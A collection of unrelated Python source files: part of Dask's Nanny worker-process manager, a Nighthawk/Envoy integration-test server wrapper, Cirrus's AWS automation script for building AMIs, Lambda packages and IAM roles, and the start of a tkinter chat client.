uid = uuid.uuid4().hex self.process = AsyncProcess( target=self._run, name="Dask Worker process (from Nanny)", kwargs=dict( worker_kwargs=self.worker_kwargs, worker_start_args=self.worker_start_args, silence_logs=self.silence_logs, init_result_q=self.init_result_q, child_stop_q=self.child_stop_q, uid=uid, Worker=self.Worker, env=self.env, ), ) self.process.daemon = dask.config.get("distributed.worker.daemon", default=True) self.process.set_exit_callback(self._on_exit) self.running = Event() self.stopped = Event() self.status = "starting" try: await self.process.start() except OSError: logger.exception("Nanny failed to start process", exc_info=True) self.process.terminate() return msg = await self._wait_until_connected(uid) if not msg: return self.status self.worker_address = msg["address"] self.worker_dir = msg["dir"] assert self.worker_address self.status = "running" self.running.set() init_q.close() return self.status def _on_exit(self, proc): if proc is not self.process: # Ignore exit of old process instance return self.mark_stopped() def _death_message(self, pid, exitcode): assert exitcode is not None if exitcode == 255: return "Worker process %d was killed by unknown signal" % (pid,) elif exitcode >= 0: return "Worker process %d exited with status %d" % (pid, exitcode) else: return "Worker process %d was killed by signal %d" % (pid, -exitcode) def is_alive(self): return self.process is not None and self.process.is_alive() @property def pid(self): return self.process.pid if self.process and self.process.is_alive() else None def mark_stopped(self): if self.status != "stopped": r = self.process.exitcode assert r is not None if r != 0: msg = self._death_message(self.process.pid, r) logger.info(msg) self.status = "stopped" self.stopped.set() # Release resources self.process.close() self.init_result_q = None self.child_stop_q = None self.process = None # Best effort to clean up worker directory if self.worker_dir and os.path.exists(self.worker_dir): shutil.rmtree(self.worker_dir, ignore_errors=True) self.worker_dir = None # User hook if self.on_exit is not None: self.on_exit(r) async def kill(self, timeout=2, executor_wait=True): """ Ensure the worker process is stopped, waiting at most *timeout* seconds before terminating it abruptly. """ loop = IOLoop.current() deadline = loop.time() + timeout if self.status == "stopped": return if self.status == "stopping": await self.stopped.wait() return assert self.status in ("starting", "running") self.status = "stopping" process = self.process self.child_stop_q.put( { "op": "stop", "timeout": max(0, deadline - loop.time()) * 0.8, "executor_wait": executor_wait, } ) self.child_stop_q.close() while process.is_alive() and loop.time() < deadline: await gen.sleep(0.05) if process.is_alive(): logger.warning( "Worker process still alive after %d seconds, killing", timeout ) try: await process.terminate() except Exception as e: logger.error("Failed to kill worker process: %s", e) async def _wait_until_connected(self, uid): delay = 0.05 while True: if self.status != "starting": return try: msg = self.init_result_q.get_nowait() except Empty: await gen.sleep(delay) continue if msg["uid"] != uid: # ensure that we didn't cross queues continue if "exception" in msg: logger.error( "Failed while trying to start worker process: %s", msg["exception"] ) await self.process.join() raise msg else: return msg @classmethod def _run( cls, worker_kwargs, worker_start_args, silence_logs, init_result_q, child_stop_q, uid, env, Worker, ): # pragma: no cover os.environ.update(env) try: from dask.multiprocessing import initialize_worker_process except ImportError: # old Dask version pass else: initialize_worker_process() if silence_logs: logger.setLevel(silence_logs) IOLoop.clear_instance() loop = IOLoop() loop.make_current() worker = Worker(**worker_kwargs) async def do_stop(timeout=5, executor_wait=True): try: await worker.close( report=False, nanny=False, executor_wait=executor_wait, timeout=timeout, ) finally: loop.stop() def watch_stop_q(): """ Wait for an incoming stop message and then stop the worker cleanly. """ while True: try: msg = child_stop_q.get(timeout=1000) except Empty: pass else: child_stop_q.close() assert msg.pop("op") == "stop" loop.add_callback(do_stop, **msg) break t = threading.Thread(target=watch_stop_q, name="Nanny stop queue watch") t.daemon = True t.start() async def run(): """ Try to start worker and inform parent of outcome. """ try: await worker except Exception as e: logger.exception("Failed to start worker") init_result_q.put({"uid": uid, "exception": e}) init_result_q.close() else: try: assert worker.address except ValueError: pass else: init_result_q.put( { "address": worker.address, "dir": worker.local_directory, "uid": uid, } ) init_result_q.close() await worker.finished() logger.info("Worker closed") try: loop.run_sync(run) except TimeoutError: # Loop was stopped before wait_until_closed() returned, ignore pass except KeyboardInterrupt: pass
nighthawk_test_server.py
"""Contains the NighthawkTestServer class, which wraps the nighthawk_test_servern binary.""" import http.client import json import logging import os import socket import subprocess import sys import random import requests import tempfile import threading import time import yaml from string import Template from pathlib import Path from rules_python.python.runfiles import runfiles from test.integration.common import IpVersion, NighthawkException def _substitute_yaml_values(runfiles_instance, obj, params): if isinstance(obj, dict): for k, v in obj.items(): obj[k] = _substitute_yaml_values(runfiles_instance, v, params) elif isinstance(obj, list): for i in range(len(obj)): obj[i] = _substitute_yaml_values(runfiles_instance, obj[i], params) else: if isinstance(obj, str): # Inspect string values and substitute where applicable. INJECT_RUNFILE_MARKER = '@inject-runfile:' if obj[0] == '$': return Template(obj).substitute(params) elif obj.startswith(INJECT_RUNFILE_MARKER): with open(runfiles_instance.Rlocation(obj[len(INJECT_RUNFILE_MARKER):].strip()), 'r') as file: return file.read() return obj class TestServerBase(object): """Base class for running a server in a separate process. Attributes: ip_version: IP version that the proxy should use when listening. server_ip: string containing the server ip that will be used to listen server_port: Integer, get the port used by the server to listen for traffic. docker_image: String, supplies a docker image for execution of the test server binary. Sourced from environment variable NH_DOCKER_IMAGE. tmpdir: String, indicates the location used to store outputs like logs. """ def __init__(self, server_binary_path, config_template_path, server_ip, ip_version, server_binary_config_path_arg, parameters, tag): """Initialize a TestServerBase instance. Args: server_binary_path (str): specify the path to the server binary. config_template_path (str): specify the path to the test server configuration template. server_ip (str): Specify the ip address the test server should use to listen for traffic. ip_version (IPAddress): Specify the ip version the server should use to listen for traffic. server_binary_config_path_arg (str): Specify the name of the CLI argument the test server binary uses to accept a configuration path. parameters (dict): Supply to provide configuration template parameter replacement values. tag (str): Supply to get recognizeable output locations. """ assert ip_version != IpVersion.UNKNOWN self.ip_version = ip_version self.server_ip = server_ip self.server_port = -1 self.docker_image = os.getenv("NH_DOCKER_IMAGE", "") self.tmpdir = os.path.join(os.getenv("TMPDIR", "/tmp/nighthawk_benchmark/"), tag + "/") self._server_binary_path = server_binary_path self._config_template_path = config_template_path self._parameters = dict(parameters) self._parameters["server_ip"] = self.server_ip self._parameters["tmpdir"] = self.tmpdir self._parameters["tag"] = tag self._server_process = None self._server_thread = threading.Thread(target=self._serverThreadRunner) self._admin_address_path = "" self._parameterized_config_path = "" self._instance_id = str(random.randint(1, 1024 * 1024 * 1024)) self._server_binary_config_path_arg = server_binary_config_path_arg self._prepareForExecution() def _prepareForExecution(self): runfiles_instance = runfiles.Create() with open(runfiles_instance.Rlocation(self._config_template_path)) as f: data = yaml.load(f, Loader=yaml.FullLoader) data = _substitute_yaml_values(runfiles_instance, data, self._parameters) Path(self.tmpdir).mkdir(parents=True, exist_ok=True) with tempfile.NamedTemporaryFile(mode="w", delete=False, suffix=".config.yaml", dir=self.tmpdir) as tmp: self._parameterized_config_path = tmp.name yaml.safe_dump(data, tmp, default_flow_style=False, explicit_start=True, allow_unicode=True, encoding='utf-8') with tempfile.NamedTemporaryFile(mode="w", delete=False, suffix=".adminport", dir=self.tmpdir) as tmp: self._admin_address_path = tmp.name def _serverThreadRunner(self): args = [] if self.docker_image != "": # TODO(#383): As of https://github.com/envoyproxy/envoy/commit/e8a2d1e24dc9a0da5273442204ec3cdfad1e7ca8 # we need to have ENVOY_UID=0 in the environment, or this will break on docker runs, as Envoy # will not be able to read the configuration files we stub here in docker runs. args = [ "docker", "run", "--network=host", "--rm", "-v", "{t}:{t}".format(t=self.tmpdir), "-e", "ENVOY_UID=0", self.docker_image ] args = args + [ self._server_binary_path, self._server_binary_config_path_arg, self._parameterized_config_path, "-l", "debug", "--base-id", self._instance_id, "--admin-address-path", self._admin_address_path, "--concurrency", "1" ] logging.info("Test server popen() args: %s" % str.join(" ", args)) self._server_process = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = self._server_process.communicate() logging.info("Process stdout: %s", stdout.decode("utf-8")) logging.info("Process stderr: %s", stderr.decode("utf-8")) def fetchJsonFromAdminInterface(self, path): """Fetch and parse json from the admin interface. Args: path (str): Request uri path and query to use when fetching. E.g. "/stats?format=json" Raises: NighthawkException: Raised when the fetch resulted in any http status code other then 200. Returns: json: Parsed json object. """ uri_host = self.server_ip if self.ip_version == IpVersion.IPV6: uri_host = "[%s]" % self.server_ip uri = "http://%s:%s%s" % (uri_host, self.admin_port, path) logging.info("Fetch listeners via %s" % uri) r = requests.get(uri) if r.status_code != 200: raise NighthawkException("Bad status code wile fetching json from admin interface: %s", r.status_code) return r.json() def _tryUpdateFromAdminInterface(self): with open(self._admin_address_path) as admin_address_file: admin_address = admin_address_file.read() tmp = admin_address.split(":") # we expect at least two elements (host:port). This might still be an empty file # if the test server is still working to boot up. if len(tmp) < 2: return False self.admin_port = tmp[len(tmp) - 1] try: listeners = self.fetchJsonFromAdminInterface("/listeners?format=json") # Right now we assume there's only a single listener self.server_port = listeners["listener_statuses"][0]["local_address"]["socket_address"][ "port_value"] return True except requests.exceptions.ConnectionError: return False def enableCpuProfiler(self): """Enable the built-in cpu profiler of the test server. Returns: Bool: True iff the cpu profiler was succesfully enabled. """ uri_host = self.server_ip if self.ip_version == IpVersion.IPV6: uri_host = "[%s]" % self.server_ip uri = "http://%s:%s%s" % (uri_host, self.admin_port, "/cpuprofiler?enable=y") r = requests.post(uri) logging.info("Enabled CPU profiling via %s: %s", uri, r.status_code == 200) return r.status_code == 200 def _waitUntilServerListening(self): # we allow some time for the server to have its listeners up. # (It seems that in sanitizer-enabled runs this can take a little while) timeout = time.time() + 60 while time.time() < timeout: if self._tryUpdateFromAdminInterface(): return True time.sleep(0.1) logging.error("Timeout in _waitUntilServerListening()") return False def start(self): """Start the server. Returns: Bool: True iff the server started successfully. """ self._server_thread.daemon = True self._server_thread.start() return self._waitUntilServerListening() def stop(self): """Stop the server. Returns: Int: exit code of the server process. """ os.remove(self._admin_address_path) self._server_process.terminate() self._server_thread.join() return self._server_process.returncode class NighthawkTestServer(TestServerBase): """Run the Nighthawk test server in a separate process. Passes in the right cli-arg to point it to its configuration. For, say, NGINX this would be '-c' instead. """ def __init__(self, server_binary_path, config_template_path, server_ip, ip_version, parameters=dict(), tag=""): """Initialize a NighthawkTestServer instance. Args: server_binary_path (String): Path to the nighthawk test server binary. config_template_path (String): Path to the nighthawk test server configuration template. server_ip (String): Ip address for the server to use when listening. ip_version (IPVersion): IPVersion enum member indicating the ip version that the server should use when listening. parameters (dictionary, optional): Directionary with replacement values for substition purposes in the server configuration template. Defaults to dict(). tag (str, optional): Tags. Supply this to get recognizeable output locations. Defaults to "". """ super(NighthawkTestServer, self).__init__(server_binary_path, config_template_path, server_ip, ip_version, "--config-path", parameters, tag) def getCliVersionString(self): """Get the version string as written to the output by the CLI.""" args = [] if self.docker_image != "": args = ["docker", "run", "--rm", self.docker_image] args = args + [self._server_binary_path, "--base-id", self._instance_id, "--version"] process = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = process.communicate() assert process.wait() == 0 return stdout.decode("utf-8").strip()
automate.py
import logging import time import io import zipfile import json import threading import inspect import datetime import handler import configuration import instance import utilities import aws_resources # The path at which to save the configuration in a worker Lambda. CONFIG_PATH = "/tmp/config.cfg" # The type of instance to use for compilation. #BUILD_INSTANCE_TYPE = "c4.4xlarge" BUILD_INSTANCE_TYPE = "t3.micro" # The disk size, in GB, to use for compilation. BUILD_INSTANCE_SIZE = 32 # The type of instance to use for creating server images. #SERVER_INSTANCE_TYPE = "m4.2xlarge" SERVER_INSTANCE_TYPE = "t3.micro" # The disk size, in GB, to use for parameter servers. SERVER_INSTANCE_SIZE = 1 # The base AMI to use for making the Amazon Linux build image. Gives the AMI ID # for each supported region. This is "amzn-ami-hvm-2017.03.1.20170812 # -x86_64-gp2", which is recommended by AWS as of Sep 27, 2018 for compiling # executables for Lambda. AMAZON_BASE_IMAGES = { "us-east-1": "ami-4fffc834", "us-east-2": "ami-ea87a78f", "us-west-1": "ami-3a674d5a", "us-west-2": "ami-aa5ebdd2" } # The base AMI to use for making the Ubuntu build image. Gives the AMI ID for # each supported region. This is "Ubuntu Server 18.04 LTS (HVM), SSD Volume # Type", found in the AWS console. UBUNTU_BASE_IMAGES = { "us-east-1": "ami-0ac019f4fcb7cb7e6", "us-east-2": "ami-0f65671a86f061fcd", "us-west-1": "ami-063aa838bd7631e0b", "us-west-2": "ami-0bbe6b35405ecebdb" } # The ARN of an IAM policy that allows read-only access to S3. S3_READ_ONLY_ARN = "arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess" # The ARN of an IAM policy that allows write access to Cloudwatch logs. CLOUDWATCH_WRITE_ARN = "arn:aws:iam::aws:policy/service-role/" \ "AWSLambdaBasicExecutionRole" # The base name of the bucket created by Cirrus in users' AWS accounts. BUCKET_BASE_NAME = "cirrus-bucket" # The estimated delay of IAM's eventual consistency, in seconds. IAM_CONSISTENCY_DELAY = 20 # The filenames of Cirrus' executables. EXECUTABLES = ("parameter_server", "ps_test", "csv_to_libsvm") # The level of compression to use when creating the Lambda ZIP package. LAMBDA_COMPRESSION = zipfile.ZIP_DEFLATED # The name to give to the file containing the Lambda's handler code. LAMBDA_HANDLER_FILENAME = "handler.py" # The estimated delay of S3's eventual consistency, in seconds. S3_CONSISTENCY_DELAY = 20 # The runtime for the worker Lambda. LAMBDA_RUNTIME = "python3.6" # The fully-qualified identifier of the handler of the worker Lambda. LAMBDA_HANDLER_FQID = "handler.run" # The maximum execution time to give the worker Lambda, in seconds. LAMBDA_TIMEOUT = 5 * 60 # The maximum amount of time that we will wait after invoking a Lambda in order # to read its output, in seconds. LAMBDA_READ_TIMEOUT = LAMBDA_TIMEOUT + 30 # The level of logs that the worker Lambda should write to CloudWatch. LAMBDA_LOG_LEVEL = "DEBUG" # The maximum number of generations of Lambdas that will be invoked to serve as # as the worker with a given ID. MAX_LAMBDA_GENERATIONS = 10000 # The maximum number of workers that may work on a given experiment. This is # 1000 because the worker ID is given 3 digits in the task ID that workers use # to register. MAX_WORKERS_PER_EXPERIMENT = 1000 # The minimum number of seconds that must pass between two Lambda invocations # for a worker. MIN_GENERATION_TIME = 10 # The minimum number of concurrent executions that AWS requires an account to # keep unreserved. Current as of 11/21/18. _MINIMUM_UNRESERVED_CONCURRENCY = 100 def make_amazon_build_image(name): """Make an Amazon Linux AMI suitable for compiling Cirrus on. Deletes any existing AMI with the same name. The resulting AMI will be private. Args: name (str): The name to give the AMI. """ log = logging.getLogger("cirrus.automate.make_amazon_build_image") log.debug("Deleting any existing images with the same name.") instance.Instance.delete_images(name) log.debug("Launching an instance.") region = configuration.config()["aws"]["region"] inst = instance.Instance("cirrus_make_amazon_build_image", ami_id=AMAZON_BASE_IMAGES[region], disk_size=BUILD_INSTANCE_SIZE, typ=BUILD_INSTANCE_TYPE, username="ec2-user") inst.start() log.debug("Setting up the environment.") # Install some necessary packages. inst.run_command("yes | sudo yum install git " "glibc-static openssl-static.x86_64 zlib-static.x86_64 libcurl-devel") inst.run_command("yes | sudo yum groupinstall \"Development Tools\"") # Install some useful tools. inst.run_command("yes | sudo yum install gdb") inst.run_command("yes | sudo yum install htop") inst.run_command("yes | sudo yum install mosh") # The above installed a recent version of gcc, but an old version of g++. # Install a newer version of g++. inst.run_command("yes | sudo yum remove gcc48-c++") inst.run_command("yes | sudo yum install gcc72-c++") # The above pulled in an old version of cmake. Install a newer version of # cmake by compiling from source. inst.run_command( "wget https://cmake.org/files/v3.10/cmake-3.10.0.tar.gz") inst.run_command("tar -xvzf cmake-3.10.0.tar.gz") inst.run_command("cd cmake-3.10.0; ./bootstrap") inst.run_command("cd cmake-3.10.0; make -j 16") inst.run_command("cd cmake-3.10.0; sudo make install") # Install newer versions of as and ld. inst.run_command("yes | sudo yum install binutils") # The above pulled in an old version of make. Install a newer version of # make by compiling from source. inst.run_command("wget https://ftp.gnu.org/gnu/make/make-4.2.tar.gz") inst.run_command("tar -xf make-4.2.tar.gz") inst.run_command("cd make-4.2; ./configure") inst.run_command("cd make-4.2; make -j 16") inst.run_command("cd make-4.2; sudo make install") inst.run_command("sudo ln -sf /usr/local/bin/make /usr/bin/make") # Compile glibc from source with static NSS. Use the resulting libpthread.a # instead of the default. inst.run_command("git clone git://sourceware.org/git/glibc.git") inst.run_command("cd glibc; git checkout release/2.28/master") inst.run_command("mkdir glibc/build") inst.run_command("cd glibc/build; ../configure --disable-sanity-checks " "--enable-static-nss --prefix ~/glibc_build") inst.run_command("cd glibc/build; make -j 16") inst.run_command("cd glibc/build; make install") inst.run_command("sudo cp ~/glibc_build/lib/libpthread.a " "/usr/lib64/libpthread.a") inst.run_command("sudo cp ~/glibc_build/lib/libc.a /usr/lib64/libc.a") log.debug("Saving the image.") inst.save_image(name, False) log.debug("Terminating the instance.") inst.cleanup() def make_ubuntu_build_image(name): """Make an Ubuntu AMI suitable for compiling Cirrus on. Deletes any existing AMI with the same name. The resulting AMI will be private. Args: name (str): The name to give the AMI. """ log = logging.getLogger("cirrus.automate.make_ubuntu_build_image") log.debug("Deleting any existing images with the same name.") instance.Instance.delete_images(name) log.debug("Launching an instance.") region = configuration.config()["aws"]["region"] inst = instance.Instance("cirrus_make_ubuntu_build_image", ami_id=UBUNTU_BASE_IMAGES[region], disk_size=BUILD_INSTANCE_SIZE, typ=BUILD_INSTANCE_TYPE, username="ubuntu") inst.start() log.debug("Setting up the environment.") # Sometimes `apt-get update` doesn't work, returning exit code 100. while True: status, _, _ = inst.run_command("sudo apt-get update", False) if status == 0: break inst.run_command("yes | sudo apt-get install build-essential cmake \ automake zlib1g-dev libssl-dev libcurl4-nss-dev \ bison libldap2-dev libkrb5-dev") inst.run_command("yes | sudo apt-get install awscli") # Install some useful tools. inst.run_command("yes | sudo apt-get install gdb") inst.run_command("yes | sudo apt-get install htop") inst.run_command("yes | sudo apt-get install mosh") log.debug("Saving the image.") inst.save_image(name, False) log.debug("Terminating the instance.") inst.cleanup() def make_executables(path, image_owner_name, username): """Compile Cirrus and publish its executables. Overwrites any existing S3 objects with the same name. The resulting S3 objects will be public. Args: path (str): A S3 path to a "directory" in which to publish the executables. image_owner_name (tuple[str, str]): The owner and name of the AMI to compile on. As for `Instance.__init__`. username (str): The SSH username to use with the AMI. """ log = logging.getLogger("cirrus.automate.make_executables") log.debug("Launching an instance.") inst = instance.Instance("cirrus_make_executables", ami_owner_name=image_owner_name, disk_size=BUILD_INSTANCE_SIZE, typ=BUILD_INSTANCE_TYPE, username=username) inst.start() log.debug("Building Cirrus.") inst.run_command("git clone https://github.com/jcarreira/cirrus.git") inst.run_command("cd cirrus; ./bootstrap.sh") inst.run_command("cd cirrus; make -j 16") log.debug("Publishing executables.") for executable in EXECUTABLES: inst.upload_s3("~/cirrus/src/%s" % executable, path + "/" + executable, public=True) log.debug("Terminating the instance.") inst.cleanup() log.debug("Done.") def make_lambda_package(path, executables_path): """Make and publish the ZIP package for Cirrus' Lambda function. Args: path (str): An S3 path at which to publish the package. executables_path (str): An S3 path to a "directory" from which to get Cirrus' executables. """ assert path.startswith("s3://") assert executables_path.startswith("s3://") log = logging.getLogger("cirrus.automate.make_lambda_package") log.debug("Initializing ZIP file.") file = io.BytesIO() with zipfile.ZipFile(file, "w", LAMBDA_COMPRESSION) as zip: log.debug("Writing handler.") info = zipfile.ZipInfo(LAMBDA_HANDLER_FILENAME) info.external_attr = 0o777 << 16 # Gives execute permission. handler_source = inspect.getsource(handler) zip.writestr(info, handler_source) log.debug("Initializing S3.") executable = io.BytesIO() log.debug("Downloading executable.") executables_path += "/amazon/parameter_server" bucket, key = _split_s3_url(executables_path) resources.s3_client.download_fileobj(bucket, key, executable) log.debug("Writing executable.") info = zipfile.ZipInfo("parameter_server") info.external_attr = 0o777 << 16 # Gives execute permission. executable.seek(0) zip.writestr(info, executable.read()) log.debug("Uploading package.") file.seek(0) bucket, key = _split_s3_url(path) resources.s3_client.upload_fileobj(file, bucket, key, ExtraArgs={"ACL": "public-read"}) log.debug("Waiting for changes to take effect.") # Waits for S3's eventual consistency to catch up. Ideally, something more # sophisticated would be used since the delay distribution is # heavy-tailed. But this should in most cases ensure the package is # visible on S3 upon return. time.sleep(S3_CONSISTENCY_DELAY) log.debug("Done.") def make_server_image(name, executables_path): """Make an AMI that runs parameter servers. Args: name (str): The name to give the AMI. executables_path (str): An S3 path to a "directory" from which to get Cirrus' executables. """ assert executables_path.startswith("s3://") log = logging.getLogger("cirrus.automate.make_server_image") log.debug("Checking for already-existent images.") instance.Instance.delete_images(name) log.debug("Launching an instance.") region = configuration.config()["aws"]["region"] inst = instance.Instance("cirrus_make_server_image", ami_id=UBUNTU_BASE_IMAGES[region], disk_size=SERVER_INSTANCE_SIZE, typ=SERVER_INSTANCE_TYPE, username="ubuntu") inst.start() log.debug("Putting parameter_server executable on instance.") inst.download_s3(executables_path + "/ubuntu/parameter_server", "~/parameter_server") log.debug("Setting permissions of executable.") inst.run_command("chmod +x ~/parameter_server") log.debug("Creating image from instance.") inst.save_image(name, False) log.debug("Terminating the inst.") inst.cleanup() log.debug("Done.") def get_bucket_name(): """Get the name of Cirrus' S3 bucket in the user's AWS account. Returns: str: The name. """ log = logging.getLogger("cirrus.automate.get_bucket_name") log.debug("Retreiving account ID.") account_id = resources.sts_client.get_caller_identity().get("Account") return BUCKET_BASE_NAME + "-" + account_id def set_up_bucket(): """Set up Cirrus' S3 bucket in the user's AWS account. """ log = logging.getLogger("cirrus.automate.set_up_bucket") log.debug("Checking for existing bucket.") response = resources.s3_client.list_buckets() exists = False bucket_name = get_bucket_name() for bucket_info in response["Buckets"]: if bucket_info["Name"] == bucket_name: exists = True break """ if exists: log.debug("Deleting contents of existing bucket.") bucket = resources.s3_resource.Bucket(bucket_name) for obj in bucket.objects.all(): obj.delete() log.debug("Deleting existing bucket.") bucket.delete() """ log.debug("Creating bucket.") constraint = configuration.config()["aws"]["region"] bucket_config = { "LocationConstraint": constraint } # Per https://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region, no # constraint should be provided when referring to the us-east-1 region. if constraint == "us-east-1": resources.s3_resource.create_bucket( Bucket=bucket_name ) else: resources.s3_resource.create_bucket( Bucket=bucket_name, CreateBucketConfiguration=bucket_config ) def get_available_concurrency(): """Get the number of unreserved concurrent executions available in the current AWS account. Returns: int: The number of executions. """ log = logging.getLogger("cirrus.automate.get_available_concurrency") log.debug("Getting account settings.") response = resources.lambda_client.get_account_settings() unreserved = response["AccountLimit"]["UnreservedConcurrentExecutions"] available = unreserved - _MINIMUM_UNRESERVED_CONCURRENCY log.debug("Done.") return available def set_up_lambda_role(name): """Set up the IAM role for the worker Lambda function. Deletes any existing role with the same name. This role gives read access to S3 and full access to Cloudwatch Logs. Args: name (str): The name to give the role. """ log = logging.getLogger("cirrus.automate.set_up_lambda_role") log.debug("Checking for an already-existing role.") try: role = resources.iam_resource.Role(name) for policy in role.attached_policies.all(): role.detach_policy(PolicyArn=policy.arn) role.delete() log.info("There was an already-existing role.") except Exception: # FIXME: This is a hack. An error may be caused by something other than # the role not existing. We should catch only that specific error. log.info("There was not an already-existing role.") log.debug("Creating role.") role = resources.iam_resource.create_role( RoleName=name, AssumeRolePolicyDocument=\ """{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }""" ) role.attach_policy(PolicyArn=S3_READ_ONLY_ARN) role.attach_policy(PolicyArn=CLOUDWATCH_WRITE_ARN) log.debug("Done.") def make_lambda(name, lambda_package_path, lambda_size, concurrency=-1): """Make a worker Lambda function. Replaces any existing Lambda function with the same name. Args: name (str): The name to give the Lambda. lambda_package_path (str): An S3 path to a Lambda ZIP package produced by `make_lambda_package`. lambda_size (int): The amount of memory (in MB) to give to the Lambda function. Must be a size supported by AWS. As of 11/24/18, the supported sizes are multiples of 64 in [128, 3008]. concurrency (int): The number of reserved concurrent executions to allocate to the Lambda. If omitted or -1, the Lambda will use the account's unreserved concurrent executions in the region. """ assert 128 <= lambda_size <= 3008, \ "lambda_size %d is not in [128, 3008]." % lambda_size assert lambda_size % 64 == 0, \ "lambda_size %d is not divisible by 64." % lambda_size import setup assert isinstance(concurrency, int) assert concurrency >= -1 log = logging.getLogger("cirrus.automate.make_lambda") log.debug("Deleting any existing Lambda.") try: resources.lambda_client.delete_function(FunctionName=name) except Exception: # This is a hack. An error may be caused by something other than the # Lambda not existing. pass log.debug("Copying package to user's bucket.") bucket_name = get_bucket_name() bucket = resources.s3_resource.Bucket(bucket_name) src_bucket, src_key = _split_s3_url(lambda_package_path) src = {"Bucket": src_bucket, "Key": src_key} print("src=", src, ", src_key=", src_key) bucket.copy(src, src_key) log.debug("Creating Lambda.") role_arn = resources.iam_resource.Role(setup.LAMBDA_ROLE_NAME).arn resources.lambda_client.create_function( FunctionName=name, Runtime=LAMBDA_RUNTIME, Role=role_arn, Handler=LAMBDA_HANDLER_FQID, Code={ "S3Bucket": bucket_name, "S3Key": src_key }, Timeout=LAMBDA_TIMEOUT, MemorySize=lambda_size ) if concurrency != -1: log.debug("Allocating reserved concurrent executions to the Lambda.") resources.lambda_client.put_function_concurrency( FunctionName=name, ReservedConcurrentExecutions=concurrency ) log.debug("Done.") def delete_lambda(name): """Delete a Lambda function. Args: name (str): The name of the Lambda function. """ log = logging.getLogger("cirrus.automate.delete_lambda") log.debug("Deleting Lambda function %s." % name) resources.lambda_client.delete_function(FunctionName=name) @utilities.jittery_exponential_backoff(("TooManyRequestsException",), 2, 4, 3) def launch_worker(lambda_name, task_id, config, num_workers, ps): """Launch a worker. Blocks until the worker terminates. Args: lambda_name (str): The name of a worker Lambda function. task_id (int): The ID number of the task, to be used by the worker to register with the parameter server. config (str): A configuration for the worker. num_workers (int): The total number of workers that are being launched. ps (ParameterServer): The parameter server that the worker should use. Raises: RuntimeError: If the invocation of the Lambda function fails. """ log = logging.getLogger("cirrus.automate.launch_worker") log.debug("Launching Task %d." % task_id) payload = { "config": config, "num_workers": num_workers, "ps_ip": ps.public_ip(), "ps_port": ps.ps_port(), "task_id": task_id, "log_level": LAMBDA_LOG_LEVEL } response = resources.lambda_client_no_retries.invoke( FunctionName=lambda_name, InvocationType="RequestResponse", LogType="Tail", Payload=json.dumps(payload) ) status = response["StatusCode"] message = "Task %d completed with status code %d." \ % (task_id, status) if status == 200: log.debug(message) else: raise RuntimeError(message) def maintain_workers(n, config, ps, stop_event, experiment_id, lambda_size): """Maintain a fixed-size fleet of workers. Creates a worker Lambda function to invoke. Args: n (int): The number of workers. config (str): As for `launch_worker`. ps (ParameterServer): As for `launch_worker`. stop_event (threading.Event): An event indicating that no new generations of the workers in the fleet should be launched. experiment_id (int): The ID number of the experiment that these workers will work on. lambda_size (int): As for `make_lambda`. """ # Imported here to prevent a circular dependency issue. import setup # See the documentation for the constant. assert n <= MAX_WORKERS_PER_EXPERIMENT # Creates a Lambda function to invoke. Names it uniquely with the # `experiment_id`, current date, and current time. now = datetime.datetime.now() lambda_id = "%d_%d-%d-%d_%d-%d-%d-%d" % (experiment_id, now.year, now.month, now.day, now.hour, now.minute, now.second, now.microsecond) lambda_name = setup.LAMBDA_NAME_PREFIX + "_" + lambda_id lambda_package_path = setup.PUBLISHED_BUILD + "/lambda_package" concurrency = int(configuration.config()["aws"]["lambda_concurrency_limit"]) make_lambda(lambda_name, lambda_package_path, lambda_size, concurrency) def clean_up(): """Clean up after the run. Deletes the Lambda that was created. """ stop_event.wait() delete_lambda(lambda_name) def maintain_one(worker_id): """Maintain a single worker. Launches generation after generation of Lambdas to serve as the `worker_id`-th worker. Args: worker_id (int): The ID of the worker, in `[0, n)`. """ generation = 0 while not stop_event.is_set(): assert generation < MAX_LAMBDA_GENERATIONS task_id = worker_id * MAX_LAMBDA_GENERATIONS + generation start = time.time() launch_worker(lambda_name, task_id, config, n, ps) duration = time.time() - start if duration < MIN_GENERATION_TIME: time.sleep(MIN_GENERATION_TIME - duration) generation += 1 with open(CONFIG_PATH, "w+") as config_file: config_file.write(config) # Start the `clean_up` thread. Return immediately. thread_name = "Exp #%02d Cleanup" % experiment_id thread = threading.Thread(target=clean_up, name=thread_name) thread.start() # Start one `maintain_one` thread per worker desired. Return immediately. base_id = experiment_id * MAX_WORKERS_PER_EXPERIMENT for worker_id in range(base_id, base_id + n): thread_name = "Exp #%02d Wkr #%02d" % (experiment_id, worker_id) thread = threading.Thread(target=maintain_one, name=thread_name, args=(worker_id,)) thread.start() def _split_s3_url(url): assert url.startswith("s3://") bucket = url[len("s3://"):].split("/")[0] key = url[len("s3://") + len(bucket) + 1:] return bucket, key resources = aws_resources.get_resource() print("In automate.py, resources=", resources)
Client.py
#!/usr/bin/env python #-*-coding:utf-8-*- import tkinter, threading, socket class Client(tkinter.Tk): def __init__(self): tkinter.Tk.__init__(self) self.width, self.height = str(self.winfo_screenwidth()//2), str(self.winfo_screenheight()//2) self.title("Miauh - client") self.geometry(self.width + "x" + self.height) self.resizable(width = False, height = False) self.panel_top = tkinter.Frame(self) self.panel_top.pack(side = tkinter.TOP, fill = tkinter.BOTH, expand = tkinter.YES) self.chat_box = tkinter.Text(self.panel_top, state = tkinter.DISABLED, font = ("Helvetica", 12)) self.chat_box.pack(fill = tkinter.BOTH, expand = tkinter.YES) self.scrollbar = tkinter.Scrollbar(self.chat_box) self.scrollbar.pack(side = tkinter.RIGHT, fill = tkinter.Y) self.chat_box.config(yscrollcommand = self.scrollbar.set) self.scrollbar.config(command = self.chat_box.yview) self.panel_bottom = tkinter.Frame(self) self.panel_bottom.pack(side = tkinter.BOTTOM, fill = tkinter.BOTH) self.text_var = tkinter.StringVar() self.text_tmp = '' self.input_text = tkinter.Entry(self.panel_bottom, textvariable = self.text_var) self.input_text.pack(fill = tkinter.BOTH) self.todo = True self.flag = True self.host = '127.0.0.1' self.port = 15555 try: self.socket_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket_client.connect((self.host, self.port)) self.threadReceive = threading.Thread(target = self.receive) 